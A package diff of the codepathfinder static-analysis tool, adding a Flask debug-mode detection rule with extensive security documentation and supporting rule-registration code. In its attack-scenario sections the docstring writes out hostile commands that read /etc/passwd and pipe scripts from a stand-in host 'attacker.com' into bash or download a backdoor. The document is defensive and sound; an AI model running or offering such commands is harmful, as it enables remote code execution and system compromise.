codepathfinder 1.2.0__py3-none-manylinux_2_17_aarch64.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,374 @@
1
+ """
2
+ PYTHON-FLASK-001: Flask Debug Mode Enabled in Production
3
+
4
+ Security Impact: HIGH
5
+ CWE: CWE-489 (Active Debug Code)
6
+ CVE: CVE-2015-5306 (Werkzeug Debug PIN Bypass)
7
+ OWASP: A05:2021 - Security Misconfiguration
8
+
9
+ DESCRIPTION:
10
+ This rule detects Flask applications configured with debug mode enabled (debug=True). Running
11
+ Flask with debug mode in production exposes the interactive Werkzeug debugger, which allows
12
+ arbitrary code execution and exposes sensitive application internals.
13
+
14
+ WHAT IS FLASK DEBUG MODE:
15
+
16
+ When `debug=True` is set, Flask enables the Werkzeug interactive debugger. This provides:
17
+ - Interactive Python console in the browser on exceptions
18
+ - Automatic code reloading on file changes
19
+ - Detailed error pages with stack traces
20
+ - Access to application source code
21
+ - Environment variables and configuration
22
+
23
+ **In development**: These features are helpful for debugging.
24
+ **In production**: These features are CRITICAL SECURITY VULNERABILITIES.
25
+
26
+ SECURITY IMPLICATIONS:
27
+
28
+ **1. Remote Code Execution**:
29
+ The Werkzeug debugger provides an interactive Python shell accessible through the browser.
30
+ When an exception occurs, attackers can:
31
+ - Execute arbitrary Python code
32
+ - Access the filesystem
33
+ - Read environment variables (API keys, database passwords)
34
+ - Modify application state
35
+ - Establish reverse shells
36
+
37
+ **2. Information Disclosure**:
38
+ Debug mode exposes:
39
+ - Full source code paths
40
+ - Application structure
41
+ - Secret keys and tokens in stack traces
42
+ - Database connection strings
43
+ - Environment variables
44
+ - Internal network structure
45
+
46
+ **3. Debugger PIN Bypass** (CVE-2015-5306):
47
+ While the debugger is "protected" by a PIN, multiple bypasses have been found:
48
+ - PIN visible in console output (easily accessible on shared servers)
49
+ - PIN bruteforce attacks
50
+ - Time-based side channels
51
+ - Local file disclosure can reveal PIN generation algorithm
52
+
53
+ **4. Denial of Service**:
54
+ - Auto-reload feature can be triggered remotely
55
+ - Exception handlers consume excessive resources
56
+ - Attackers can intentionally trigger crashes
57
+
58
+ VULNERABLE EXAMPLE:
59
+ ```python
60
+ from flask import Flask, request
61
+
62
+ app = Flask(__name__)
63
+
64
+ @app.route('/api/users')
65
+ def get_users():
66
+ # Some application logic
67
+ return {'users': [...]}
68
+
69
+ if __name__ == '__main__':
70
+ # DANGEROUS: Debug mode enabled
71
+ app.run(debug=True) # Vulnerable!
72
+
73
+ # Also vulnerable:
74
+ # app.debug = True
75
+ # app.run()
76
+
77
+ # Or via config:
78
+ # app.config['DEBUG'] = True
79
+ ```
80
+
81
+ **Attack scenario**:
82
+ 1. Attacker triggers an exception (e.g., invalid input)
83
+ 2. Werkzeug debugger appears with interactive console
84
+ 3. Attacker enters Python code in the console
85
+ 4. Attacker gains full application access
86
+
87
+ ```python
88
+ # In Werkzeug console:
89
+ import os
90
+ os.system('cat /etc/passwd') # Read system files
91
+ os.system('curl attacker.com/shell.sh | bash') # Reverse shell
92
+ ```
93
+
94
+ SECURE EXAMPLE:
95
+ ```python
96
+ import os
97
+ from flask import Flask, request
98
+
99
+ app = Flask(__name__)
100
+
101
+ @app.route('/api/users')
102
+ def get_users():
103
+ return {'users': [...]}
104
+
105
+ if __name__ == '__main__':
106
+ # SAFE: Debug mode explicitly disabled
107
+ app.run(debug=False)
108
+
109
+ # BETTER: Use environment variable
110
+ debug_mode = os.getenv('FLASK_DEBUG', 'False') == 'True'
111
+ app.run(debug=debug_mode)
112
+
113
+ # BEST: Don't set it at all (defaults to False)
114
+ app.run() # debug=False is the default
115
+ ```
116
+
117
+ PRODUCTION DEPLOYMENT BEST PRACTICES:
118
+
119
+ **1. Use Production WSGI Server** (Recommended):
120
+ ```python
121
+ # Don't use app.run() in production at all!
122
+ # Instead, use Gunicorn, uWSGI, or Waitress
123
+
124
+ # gunicorn_config.py
125
+ bind = "0.0.0.0:8000"
126
+ workers = 4
127
+ loglevel = "warning" # Not "debug"
128
+ accesslog = "/var/log/flask/access.log"
129
+ errorlog = "/var/log/flask/error.log"
130
+
131
+ # Run with:
132
+ # gunicorn -c gunicorn_config.py myapp:app
133
+ ```
134
+
135
+ **2. Environment-Based Configuration**:
136
+ ```python
137
+ import os
138
+ from flask import Flask
139
+
140
+ app = Flask(__name__)
141
+
142
+ # Use environment variables for configuration
143
+ app.config['DEBUG'] = os.getenv('FLASK_ENV') == 'development'
144
+ app.config['TESTING'] = False
145
+
146
+ if __name__ == '__main__':
147
+ # Only runs in local development
148
+ if os.getenv('FLASK_ENV') == 'development':
149
+ app.run(debug=True, host='127.0.0.1', port=5000)
150
+ else:
151
+ print("ERROR: Use a production WSGI server!")
152
+ exit(1)
153
+ ```
154
+
155
+ **3. Use Flask Configuration Classes**:
156
+ ```python
157
+ class ProductionConfig:
158
+ DEBUG = False
159
+ TESTING = False
160
+ SECRET_KEY = os.environ.get('SECRET_KEY')
161
+
162
+ class DevelopmentConfig:
163
+ DEBUG = True # Only for local development
164
+ TESTING = True
165
+ SECRET_KEY = 'dev-key-only'
166
+
167
+ # In application factory:
168
+ def create_app():
169
+ app = Flask(__name__)
170
+
171
+ if os.getenv('FLASK_ENV') == 'production':
172
+ app.config.from_object(ProductionConfig)
173
+ else:
174
+ app.config.from_object(DevelopmentConfig)
175
+
176
+ return app
177
+ ```
178
+
179
+ **4. Docker/Container Deployment**:
180
+ ```dockerfile
181
+ # Dockerfile
182
+ FROM python:3.11-slim
183
+
184
+ WORKDIR /app
185
+ COPY requirements.txt .
186
+ RUN pip install --no-cache-dir -r requirements.txt
187
+
188
+ COPY . .
189
+
190
+ # Never set FLASK_DEBUG=1 or FLASK_ENV=development here!
191
+ ENV FLASK_ENV=production
192
+
193
+ # Use production server
194
+ CMD ["gunicorn", "--bind", "0.0.0.0:8000", "app:app"]
195
+ ```
196
+
197
+ DETECTION AND PREVENTION:
198
+
199
+ **Pre-deployment checks**:
200
+ ```bash
201
+ # Scan Flask application for debug mode
202
+ pathfinder scan --project . --ruleset cpf/python/PYTHON-FLASK-001
203
+
204
+ # Automated CI/CD gate:
205
+ # .github/workflows/security.yml
206
+ - name: Check for Flask debug mode
207
+ run: |
208
+ pathfinder ci --project . --ruleset cpf/python/flask
209
+ if [ $? -ne 0 ]; then
210
+ echo "ERROR: Flask debug mode detected!"
211
+ exit 1
212
+ fi
213
+ ```
214
+
215
+ **Code Review Checklist**:
216
+ - [ ] No `app.run(debug=True)` in codebase
217
+ - [ ] No `app.debug = True` assignments
218
+ - [ ] No `app.config['DEBUG'] = True` in production config
219
+ - [ ] Production uses WSGI server (Gunicorn, uWSGI)
220
+ - [ ] DEBUG configuration controlled by environment variables
221
+ - [ ] Docker images don't set FLASK_ENV=development
222
+
223
+ **Runtime Monitoring**:
224
+ ```python
225
+ # Add startup check
226
+ from flask import Flask
227
+ import os
228
+
229
+ app = Flask(__name__)
230
+
231
+ if app.debug and os.getenv('FLASK_ENV') == 'production':
232
+ raise RuntimeError("CRITICAL: Debug mode enabled in production!")
233
+ ```
234
+
235
+ REAL-WORLD ATTACK EXAMPLES:
236
+
237
+ **1. Werkzeug Console RCE**:
238
+ ```
239
+ 1. Navigate to https://vulnerable-app.com/invalid-url (triggers 404 exception)
240
+ 2. Werkzeug debugger appears with "Open an interactive Python shell"
241
+ 3. Click console icon, enter PIN (or bypass)
242
+ 4. Execute: __import__('os').system('wget attacker.com/backdoor.py')
243
+ 5. Full application compromise
244
+ ```
245
+
246
+ **2. Information Disclosure**:
247
+ ```
248
+ # Stack trace reveals:
249
+ File "/app/config/database.py", line 23
250
+ db_password = "P@ssw0rd123!ProductionDB"
251
+
252
+ # Attacker now has database credentials
253
+ ```
254
+
255
+ **3. Source Code Exposure**:
256
+ ```
257
+ # Debug page shows full source code:
258
+ @app.route('/admin/secret')
259
+ def admin_secret():
260
+ api_key = "sk-live-abc123..." # API key exposed
261
+ ...
262
+ ```
263
+
264
+ COMPLIANCE AND AUDITING:
265
+
266
+ **OWASP Top 10 A05:2021**:
267
+ > "Security Misconfiguration - Debug features enabled in production"
268
+
269
+ **CIS Flask Benchmark**:
270
+ > "Ensure debug mode is disabled in production environments"
271
+
272
+ **PCI DSS Requirement 6.5.10**:
273
+ > "Broken Authentication and Session Management - includes debug modes"
274
+
275
+ **NIST SP 800-53**:
276
+ CM-7: Least Functionality - "Remove or disable unnecessary functions"
277
+
278
+ **SOC 2 / ISO 27001**:
279
+ Requires separation of development and production environments
280
+
281
+ MIGRATION GUIDE:
282
+
283
+ **Step 1: Audit all Flask applications**:
284
+ ```bash
285
+ # Find all app.run() calls
286
+ grep -rn "app.run(" --include="*.py"
287
+
288
+ # Find all debug=True
289
+ grep -rn "debug.*=.*True" --include="*.py"
290
+ ```
291
+
292
+ **Step 2: Replace with environment-based config**:
293
+ ```python
294
+ # BEFORE
295
+ app.run(debug=True, port=5000)
296
+
297
+ # AFTER
298
+ import os
299
+ debug = os.getenv('FLASK_DEBUG', 'False') == 'True'
300
+ app.run(debug=debug, port=5000)
301
+ ```
302
+
303
+ **Step 3: Switch to production server**:
304
+ ```bash
305
+ # Install Gunicorn
306
+ pip install gunicorn
307
+
308
+ # Run in production
309
+ gunicorn --workers 4 --bind 0.0.0.0:8000 myapp:app
310
+ ```
311
+
312
+ **Step 4: Add CI/CD checks**:
313
+ ```yaml
314
+ # .github/workflows/deploy.yml
315
+ - name: Verify no debug mode
316
+ run: |
317
+ if grep -r "debug=True" *.py; then
318
+ echo "ERROR: Debug mode found!"
319
+ exit 1
320
+ fi
321
+ ```
322
+
323
+ WERKZEUG DEBUGGER PIN:
324
+
325
+ Even with a PIN, the debugger is NOT safe:
326
+ - PIN visible in console output
327
+ - PIN can be bruteforced (only 6-8 digits)
328
+ - Multiple PIN bypass CVEs exist
329
+ - **NEVER rely on PIN as security!**
330
+
331
+ Correct approach: **Never enable debug mode in production. Period.**
332
+
333
+ REFERENCES:
334
+ - CWE-489: Active Debug Code (https://cwe.mitre.org/data/definitions/489.html)
335
+ - CVE-2015-5306: Werkzeug Debug PIN Bypass
336
+ - OWASP A05:2021 - Security Misconfiguration
337
+ - Flask Security Docs: https://flask.palletsprojects.com/en/stable/security/
338
+ - Werkzeug Documentation: https://werkzeug.palletsprojects.com/
339
+ - Production Flask Deployment: https://flask.palletsprojects.com/en/stable/deploying/
340
+
341
+ DETECTION SCOPE:
342
+ This rule uses simple pattern matching to detect app.run(debug=True) calls. It does not
343
+ require dataflow analysis as it's a configuration issue, not a data flow vulnerability.
344
+ """
345
+
346
+ from rules.python_decorators import python_rule
347
+ from codepathfinder import calls, Or
348
+
349
+
350
+ @python_rule(
351
+ id="PYTHON-FLASK-001",
352
+ name="Flask Debug Mode Enabled",
353
+ severity="HIGH",
354
+ category="flask",
355
+ cwe="CWE-489",
356
+ cve="CVE-2015-5306",
357
+ tags="python,flask,debug-mode,configuration,information-disclosure,owasp-a05,cwe-489,production,werkzeug,security,misconfiguration",
358
+ message="Flask debug mode enabled. Never use debug=True in production. Use a production WSGI server like Gunicorn.",
359
+ owasp="A05:2021",
360
+ )
361
+ def detect_flask_debug_mode():
362
+ """
363
+ Detects Flask applications with debug mode enabled.
364
+
365
+ Matches:
366
+ - app.run(debug=True)
367
+ - *.run(debug=True)
368
+
369
+ Example vulnerable code:
370
+ app = Flask(__name__)
371
+ app.run(debug=True) # Detected!
372
+ """
373
+ # Use wildcard pattern to match any object's run method with debug=True
374
+ return calls("*.run", match_name={"debug": True})
File without changes
@@ -0,0 +1,177 @@
1
+ """
2
+ Decorators for Python security rules.
3
+ """
4
+
5
+ import atexit
6
+ import json
7
+ import sys
8
+ from typing import Callable, Dict, Any, List
9
+ from dataclasses import dataclass
10
+
11
+
12
+ @dataclass
13
+ class PythonRuleMetadata:
14
+ """Metadata for a Python security rule."""
15
+
16
+ id: str
17
+ name: str = ""
18
+ severity: str = "MEDIUM"
19
+ category: str = "security"
20
+ cwe: str = ""
21
+ cve: str = ""
22
+ tags: str = ""
23
+ message: str = ""
24
+ owasp: str = ""
25
+
26
+
27
+ @dataclass
28
+ class PythonRuleDefinition:
29
+ """Complete definition of a Python security rule."""
30
+
31
+ metadata: PythonRuleMetadata
32
+ matcher: Dict[str, Any]
33
+ rule_function: Callable
34
+
35
+
36
+ # Global registry
37
+ _python_rules: List[PythonRuleDefinition] = []
38
+ _auto_execute_enabled = False
39
+
40
+
41
+ def _enable_auto_execute() -> None:
42
+ """
43
+ Enable automatic rule compilation and output when script ends.
44
+
45
+ This provides consistent behavior with code analysis rules -
46
+ no __main__ block needed.
47
+ """
48
+ global _auto_execute_enabled
49
+ if _auto_execute_enabled:
50
+ return
51
+
52
+ _auto_execute_enabled = True
53
+
54
+ def _output_rules():
55
+ """Output all Python rules as JSON when script ends."""
56
+ if not _python_rules:
57
+ return
58
+
59
+ # Compile rules to JSON IR format
60
+ from . import python_ir
61
+
62
+ compiled = python_ir.compile_all_rules()
63
+
64
+ # Output to stdout for Go loader to capture
65
+ print(json.dumps(compiled))
66
+
67
+ # Register cleanup handler
68
+ atexit.register(_output_rules)
69
+
70
+
71
+ def _register_rule() -> None:
72
+ """
73
+ Check if auto-execution should be enabled when a rule is registered.
74
+
75
+ Enables auto-execution if the module is being executed directly (not imported).
76
+ """
77
+ # Check if module is being executed directly
78
+ frame = sys._getframe(2) # Get caller's frame (the module defining the rule)
79
+ if frame.f_globals.get("__name__") == "__main__":
80
+ _enable_auto_execute()
81
+
82
+
83
+ def python_rule(
84
+ id: str,
85
+ name: str = "",
86
+ severity: str = "MEDIUM",
87
+ category: str = "security",
88
+ cwe: str = "",
89
+ cve: str = "",
90
+ tags: str = "",
91
+ message: str = "",
92
+ owasp: str = "",
93
+ ) -> Callable:
94
+ """
95
+ Decorator for Python security rules.
96
+
97
+ Example:
98
+ @python_rule(
99
+ id="PYTHON-001",
100
+ severity="CRITICAL",
101
+ cwe="CWE-89",
102
+ owasp="A03:2021",
103
+ tags="python,sql-injection,django,database"
104
+ )
105
+ def detect_sql_injection():
106
+ return flows(
107
+ from_sources=[calls("request.GET")],
108
+ to_sinks=[calls("cursor.execute")],
109
+ scope="local"
110
+ )
111
+
112
+ Args:
113
+ id: Unique rule identifier (e.g., "PYTHON-DJANGO-001")
114
+ name: Human-readable rule name (auto-generated from function name if not provided)
115
+ severity: Rule severity (CRITICAL, HIGH, MEDIUM, LOW, INFO)
116
+ category: Rule category (security, django, flask, deserialization, etc.)
117
+ cwe: CWE identifier (e.g., "CWE-89")
118
+ cve: CVE identifier (e.g., "CVE-2022-34265")
119
+ tags: Comma-separated tags (e.g., "python,django,sql-injection")
120
+ message: Detection message
121
+ owasp: OWASP category (e.g., "A03:2021")
122
+
123
+ Returns:
124
+ Decorated function that registers the rule
125
+ """
126
+
127
+ def decorator(func: Callable) -> Callable:
128
+ # Get matcher from function
129
+ matcher_result = func()
130
+
131
+ # Convert to dict if it's a Matcher object
132
+ if hasattr(matcher_result, "to_ir"):
133
+ matcher_dict = matcher_result.to_ir()
134
+ elif hasattr(matcher_result, "to_dict"):
135
+ matcher_dict = matcher_result.to_dict()
136
+ elif isinstance(matcher_result, dict):
137
+ matcher_dict = matcher_result
138
+ else:
139
+ raise ValueError(f"Rule {id} must return a matcher or dict")
140
+
141
+ # Create rule definition
142
+ metadata = PythonRuleMetadata(
143
+ id=id,
144
+ name=name or func.__name__.replace("_", " ").title(),
145
+ severity=severity,
146
+ category=category,
147
+ cwe=cwe,
148
+ cve=cve,
149
+ tags=tags,
150
+ message=message or f"Security issue detected by {id}",
151
+ owasp=owasp,
152
+ )
153
+
154
+ rule_def = PythonRuleDefinition(
155
+ metadata=metadata,
156
+ matcher=matcher_dict,
157
+ rule_function=func,
158
+ )
159
+
160
+ _python_rules.append(rule_def)
161
+ _register_rule() # Enable auto-execution if running as script
162
+
163
+ # Return original function (can be called for testing)
164
+ return func
165
+
166
+ return decorator
167
+
168
+
169
+ def get_python_rules() -> List[PythonRuleDefinition]:
170
+ """Get all registered Python rules."""
171
+ return _python_rules.copy()
172
+
173
+
174
+ def clear_rules():
175
+ """Clear all registered rules (for testing)."""
176
+ global _python_rules
177
+ _python_rules = []
rules/python_ir.py ADDED
@@ -0,0 +1,80 @@
1
+ """
2
+ JSON IR (Intermediate Representation) compiler for Python security rules.
3
+ """
4
+
5
+ import json
6
+ from typing import List, Dict, Any
7
+
8
+ from .python_decorators import get_python_rules
9
+
10
+
11
+ def compile_python_rules() -> List[Dict[str, Any]]:
12
+ """
13
+ Compile all Python rules to JSON IR format expected by Go executor.
14
+
15
+ Returns list of rule definitions with structure:
16
+ [
17
+ {
18
+ "rule": {"id": "...", "name": "...", ...},
19
+ "matcher": {...}
20
+ }
21
+ ]
22
+ """
23
+ rules = get_python_rules()
24
+ compiled = []
25
+
26
+ for rule in rules:
27
+ ir = {
28
+ "rule": {
29
+ "id": rule.metadata.id,
30
+ "name": rule.metadata.name,
31
+ "severity": rule.metadata.severity.lower(), # Normalize to lowercase
32
+ "cwe": rule.metadata.cwe,
33
+ "owasp": rule.metadata.owasp,
34
+ "description": rule.metadata.message or f"Security issue detected by {rule.metadata.id}",
35
+ },
36
+ "matcher": rule.matcher,
37
+ }
38
+ compiled.append(ir)
39
+
40
+ return compiled
41
+
42
+
43
+ def compile_all_rules() -> List[Dict[str, Any]]:
44
+ """
45
+ Compile all Python rules to JSON IR array format.
46
+
47
+ Returns array of rules (not dict) for code analysis rules.
48
+ Container rules use dict format {"dockerfile": [...], "compose": [...]},
49
+ but code analysis rules use array format [...].
50
+ """
51
+ return compile_python_rules()
52
+
53
+
54
+ def compile_to_json(pretty: bool = True) -> str:
55
+ """
56
+ Compile all rules to JSON string.
57
+
58
+ Args:
59
+ pretty: If True, format with indentation.
60
+
61
+ Returns:
62
+ JSON string of all compiled rules.
63
+ """
64
+ compiled = compile_all_rules()
65
+ if pretty:
66
+ return json.dumps(compiled, indent=2)
67
+ return json.dumps(compiled)
68
+
69
+
70
+ def write_ir_file(filepath: str, pretty: bool = True):
71
+ """
72
+ Write compiled rules to JSON file.
73
+
74
+ Args:
75
+ filepath: Output file path.
76
+ pretty: If True, format with indentation.
77
+ """
78
+ json_str = compile_to_json(pretty=pretty)
79
+ with open(filepath, "w") as f:
80
+ f.write(json_str)